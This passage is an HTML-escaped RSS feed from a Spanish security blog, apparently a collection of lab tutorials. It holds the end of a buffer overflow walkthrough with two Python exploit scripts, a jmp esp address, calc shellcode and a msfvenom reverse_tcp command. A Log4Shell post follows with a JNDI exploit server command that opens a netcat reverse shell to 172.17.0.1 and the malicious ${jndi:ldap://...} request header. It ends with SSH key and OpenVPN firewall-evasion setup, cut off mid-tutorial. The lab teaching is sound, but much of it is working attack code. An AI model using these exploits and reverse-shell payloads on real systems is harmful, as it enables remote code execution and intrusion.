&lt;/h3>&lt;p>vamos a contar la cantidad bytes que se necesitan para llegar a esp y no sobrescribirlo en este caso recomiendo poner números aleatorios&lt;/p>
&lt;p>&lt;img src="https://i.imgur.com/4kBsKSF.png"
loading="lazy"
>&lt;/p>
&lt;p>lo vamos a ejecutar para obtener la cantidad de bytes necesarios para sobrescribir el EIP&lt;/p>
&lt;p>&lt;img src="https://i.imgur.com/4kIbqVz.png"
loading="lazy"
>&lt;/p>
&lt;p>invertimos el orden (Endianness)&lt;/p>
&lt;p>30 54 68 37 == 37 68 54 30 == 7hT0&lt;/p>
&lt;p>&lt;img src="https://i.imgur.com/3HGhosz.png"
loading="lazy"
>&lt;/p>
&lt;p>buscamos en el texto y obtenemos que se ocupan 2005 bytes para evitar sobrescribir el EIP&lt;/p>
&lt;h3 id="explotacion-jmp-esp">Explotacion (jmp esp)
&lt;/h3>&lt;p>vamos a buscar alguna instrucción que nos pueda ayudar a ejecutar el contenido en ESP como por ejemplo jmp esp&lt;/p>
&lt;p>search in &amp;ndash;&amp;gt; all modules &amp;ndash;&amp;gt; find command&lt;/p>
&lt;p>buscamos jmp esp&lt;/p>
&lt;p>&lt;img src="https://i.imgur.com/AfCAzDz.png"
loading="lazy"
>&lt;/p>
&lt;p>Address=625011AF
Disassembly=jmp esp&lt;/p>
&lt;p>esto lo mandamos a EIP lo invetimos (Endianness)&lt;/p>
&lt;p>por lo que nuestro código queda de la siguiente forma&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/python&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> socket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s &lt;span style="color:#f92672">=&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>socket(socket&lt;span style="color:#f92672">.&lt;/span>AF_INET, socket&lt;span style="color:#f92672">.&lt;/span>SOCK_STREAM)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>error:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>host &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;192.168.1.115&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>port &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">9999&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> remote_ip &lt;span style="color:#f92672">=&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>gethostbyname( host )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>gaierror:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>s&lt;span style="color:#f92672">.&lt;/span>connect((remote_ip , port))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>command&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;TRUN _.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>message &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;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&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>epi&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\x62\x50\x11\xAF&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exploit&lt;span style="color:#f92672">=&lt;/span>command&lt;span style="color:#f92672">+&lt;/span>message&lt;span style="color:#f92672">+&lt;/span>epi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span> :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s&lt;span style="color:#f92672">.&lt;/span>send(exploit&lt;span style="color:#f92672">.&lt;/span>encode())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>error:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reply &lt;span style="color:#f92672">=&lt;/span> s&lt;span style="color:#f92672">.&lt;/span>recv(&lt;span style="color:#ae81ff">4096&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print (reply)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="explotacion-shellcode-calc-y-bad-characters">Explotacion (Shellcode calc) y Bad Characters
&lt;/h3>&lt;p>pueden usar exploitdb para buscar una shellcode calc o usar msfvenom en mi caso voy a usar exploitdb, una cosa que hay que tener en cuenta son los &amp;ldquo;Bad Characters&amp;rdquo; como mencione la función strcpy busca bytes nulos para terminar por lo que si nuestra sellcode tiene algun \x00 no va a completar la shellcode y no va a funcionar uno de los métodos mas usados en msvenom es -b &lt;code>msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.109 LPORT=4444 -f c -b '\x00'&lt;/code> donde estoy borrando bytes nulos.&lt;/p>
&lt;p>&lt;a class="link" href="https://www.exploit-db.com/exploits/48116" target="_blank" rel="noopener"
>https://www.exploit-db.com/exploits/48116&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s &lt;span style="color:#f92672">=&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>socket(socket&lt;span style="color:#f92672">.&lt;/span>AF_INET, socket&lt;span style="color:#f92672">.&lt;/span>SOCK_STREAM)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>error:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>host &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;192.168.1.115&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>port &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">9999&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> remote_ip &lt;span style="color:#f92672">=&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>gethostbyname( host )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>gaierror:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>s&lt;span style="color:#f92672">.&lt;/span>connect((remote_ip , port))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>command&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">b&lt;/span>&lt;span style="color:#e6db74">&amp;#34;TRUN _.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>message &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">b&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\x90&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">2005&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nops &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">b&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\x90&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">b&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>epi&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">b&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\xAF\x11\x50\x62&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exploit&lt;span style="color:#f92672">=&lt;/span>command&lt;span style="color:#f92672">+&lt;/span>message&lt;span style="color:#f92672">+&lt;/span>epi&lt;span style="color:#f92672">+&lt;/span>nops&lt;span style="color:#f92672">+&lt;/span>shellcode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">try&lt;/span> :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s&lt;span style="color:#f92672">.&lt;/span>send(exploit)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">except&lt;/span> socket&lt;span style="color:#f92672">.&lt;/span>error:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reply &lt;span style="color:#f92672">=&lt;/span> s&lt;span style="color:#f92672">.&lt;/span>recv(&lt;span style="color:#ae81ff">4096&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print (reply)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://i.imgur.com/63BReCz.png"
loading="lazy"
>&lt;/p></description></item><item><title>Acerca de log4shell</title><link>https://devcodenote.gitlab.io/posts/acerca-de-log4shell/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/acerca-de-log4shell/</guid><description>&lt;img src="https://devcodenote.gitlab.io/images/ace1c5899b23dc855876d6112b119c70a086b6c3696d7c36e5b5fc90300c8635d746d5c23d88c1bf4f2097b42602334d82ed4d42026256a53e82f48f2908e1d0.png" alt="Featured image of post Acerca de log4shell" />&lt;p>log4shell es una falla en Apache Log4j que permite que atacantes puedan ejecutar comandos maliciosos desde servidores LDAP maliciosos, esta vulnerabilidad en sus principios fue un 0 day y debido a que log4j se encuentra en muchas aplicaciones como minecraft, Struts2, Flink entre otros su impacto ha sido muy grande.&lt;/p>
&lt;h3 id="como-funciona">Como Funciona?
&lt;/h3>&lt;p>Para esta vulnerabilidad en forma de prueba de concepto existe en github una aplicación vulnerable &lt;a class="link" href="https://github.com/christophetd/log4shell-vulnerable-app" target="_blank" rel="noopener"
>https://github.com/christophetd/log4shell-vulnerable-app&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>git clone https://github.com/christophetd/log4shell-vulnerable-app.git
docker run --name vulnerable-log4 -p 8081:8080 ghcr.io/christophetd/log4shell-vulnerable-app
&lt;/code>&lt;/pre>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/1d851fb4f2c85bf3e0498b263832fa16012931205a239a371f42cefc5ec6ca576036b9915ebd7849c48426f3c069cdcbb5b54bf2455dc724602eaca20ae1eb6c.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>una vez descargado vamos analizar el código para ver en qué forma puede ser vulnerable&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/ace1c5899b23dc855876d6112b119c70a086b6c3696d7c36e5b5fc90300c8635d746d5c23d88c1bf4f2097b42602334d82ed4d42026256a53e82f48f2908e1d0.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>La parte que nos interesa es:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">@GetMapping&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">public&lt;/span> String &lt;span style="color:#a6e22e">index&lt;/span>(&lt;span style="color:#a6e22e">@RequestHeader&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;X-Api-Version&amp;#34;&lt;/span>) String apiVersion) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> logger.&lt;span style="color:#a6e22e">info&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Received a request for API version &amp;#34;&lt;/span> &lt;span style="color:#f92672">+&lt;/span> apiVersion);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Hello, world!&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Y en especial esta ya que es la parte vulnerable :&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>logger.&lt;span style="color:#a6e22e">info&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Received a request for API version &amp;#34;&lt;/span> &lt;span style="color:#f92672">+&lt;/span> apiVersion);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>después vamos a necesitar un servidor LDAP que nos permita ejecutar los comandos &lt;a class="link" href="https://github.com/welk1n/JNDI-Injection-Exploit" target="_blank" rel="noopener"
>https://github.com/welk1n/JNDI-Injection-Exploit&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>java -jar JNDI-Injection-1.0-SNAPSHOT-all.jar -C &amp;#34;nc 172.17.0.1 4444 -e /bin/sh&amp;#34;
nc -lvp 4444
&lt;/code>&lt;/pre>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/8b704fcf71dbb7ed35fde12e48b6702579dcea428aba4300bca4b2b8121304bec29426740971334b5fd1d2f67a0556bbd8e2256f623cffd925fceba73caaefed.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>Solo hacemos un http request con el header X-Api-Version y con la dirección que nos proporcionó JNDI Injection&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">GET&lt;/span> / &lt;span style="color:#66d9ef">HTTP&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">192.168.1.141:8081&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>X-Api-Version&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">${jndi:ldap://172.17.0.1:1389/zlrpms} &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Language&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">en-US,en;q=0.5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">gzip, deflate&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">close&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade-Insecure-Requests&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/d95ee3cf726654238c8d22e1bd33dc9ef77e30f140abd9200f28397d0bd713247747c1f2aa70d503c237969780ceac41b9e8311108044fc84c960710c28433f4.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/40068b8357a248e64f7103c590e433798614cc565f55a3d07a81a5ef5dbc868bac37cb6cc696f2495e53719253fe2ed82070cfa31e6b09ae7e8ada788d881be5.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>debido a que la vulnerabilidad ya se encuentra arreglada en las nuevas versiones de Log4j solo queda actualizar.&lt;/p></description></item><item><title>Cómo configurar claves SSH en Ubuntu.</title><link>https://devcodenote.gitlab.io/posts/como-configurar-claves-ssh-en-ubuntu/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/como-configurar-claves-ssh-en-ubuntu/</guid><description>&lt;img src="https://devcodenote.gitlab.io/images/88df4720bbf7e855c081b8d23fda37897fe1836efef71c1fd2b15b6b0820eb35119d74f3026d2a4df073b83cdcf272dc0291cc6c51bcdbfa1fb2a2dfe36c55ad.png" alt="Featured image of post Cómo configurar claves SSH en Ubuntu." />&lt;p>En este blog se va a configurar las claves ssh en ubuntu para tener acceso, para este tutorial se va a usar WLS pero se puede hacer desde la consola de windows.&lt;/p>
&lt;p>Lo primero es generar la clave en el cliente&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ssh-keygen -t rsa -b &lt;span style="color:#ae81ff">4096&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/4453e150749562141c9ef23723bfb2bfa8d74b6cec46ebe3321a8c65f80897adc5a8a65f8f9dbaf20fa82cb189f0d28e22bb94b6b74863935f02303d8b4729dd.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>una vez realizado nos va a dejar dos archivos&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/9047ace5e67eba2bb94d5868f11716c691e45154a412868904c14052224c79d0e3d06ddf7ee8d9802652f37eff869f5662d70ce0364f4c335b964511871644c8.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>en este caso se va a realizar de manera manual al servidor&lt;/p>
&lt;p>para esto nos vamos a la carpeta .ssh&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/736b449fbcaf98bb21935f0a2e4f3749ead672c868921dbf83ccea7561a8ed27f35c2efcd43d63af9b91e81299be4645a57b312eb76b6260c21e61d7d9ed63f1.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>en el archivo authorized_keys agregamos ssh-rsa&lt;/p>
&lt;p>&lt;code>echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNz261zvu3Ig32cKrdloBMF96gYVHRqVeot4TBWx/lG61V.....&amp;quot; &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;/code>&lt;/p>
&lt;p>si nos solicita la contraseña al entrar se puede usar ssh agent&lt;/p>
&lt;p>&lt;code>ssh-add&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/88df4720bbf7e855c081b8d23fda37897fe1836efef71c1fd2b15b6b0820eb35119d74f3026d2a4df073b83cdcf272dc0291cc6c51bcdbfa1fb2a2dfe36c55ad.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>Esto nos evitará insertar la contraseña al iniciar&lt;/p></description></item><item><title>Cómo instalar un servidor OpenVPN y evadir los firewalls (DPI)</title><link>https://devcodenote.gitlab.io/posts/c%C3%B3mo-instalar-un-servidor-openvpn-y-evadir-los-firewalls-dpi/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/c%C3%B3mo-instalar-un-servidor-openvpn-y-evadir-los-firewalls-dpi/</guid><description>&lt;img src="https://devcodenote.gitlab.io/images/e3938bc2bb3eae0744a63c2b4563ee8362cdda7453ab06b4adb34b890796d6fdcbb31ad740c4acde96dc746179c5eeb695acb3b459c4e633d3d24ac5e6444d90.png" alt="Featured image of post Cómo instalar un servidor OpenVPN y evadir los firewalls (DPI)" />&lt;p>Se mostrará como instalar OpenVPN y como evadir los Firewall que suelen usar Deep Packet Inspection para identificar el tipo de protocolo que son los paquetes, muchos de estos suelen bloquear las conexiones VPN, el funcionamiento se basa en identificar el handshake de OpenVPN entonces si logramos ofuscar el handshake podemos saltarnos esa restricción, por suerte se implemento tls-crypt-v2 lo que reduce significativamente la dificultad.&lt;/p>
&lt;h2 id="instalacion">Instalacion
&lt;/h2>&lt;p>Lo primero es instalar openvpn y easy-rsa&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo apt install openvpn easy-rsa
&lt;/code>&lt;/pre>&lt;p>Lo primero configuramos easyrsa&lt;/p>
&lt;pre tabindex="0">&lt;code>cp -r /usr/share/easy-rsa /etc/
cd /etc/easy-rsa/
./easyrsa init-pki
&lt;/code>&lt;/pre>&lt;p>Generamos el certificado y la clave de la autoridad de certificación&lt;/p>
&lt;pre tabindex="0">&lt;code>cd /etc/easy-rsa/
./easyrsa build-ca nopass
./easyrsa gen-dh
./easyrsa build-server-full server nopass
openvpn --genkey secret /etc/easy-rsa/pki/ta.key
./easyrsa gen-crl
cp -rp /etc/easy-rsa/pki/{ca.crt,dh.pem,ta.key,crl.pem,issued,private}
/etc/openvpn/server/
&lt;/code>&lt;/pre>&lt;h2 id="creacion-del-handshake-encryption--tls-crypt-v2">Creacion del handshake encryption [tls-crypt-v2]
&lt;/h2>&lt;pre tabindex="0">&lt;code>Entonces nos ubicamos en
cd /etc/openvpn/server
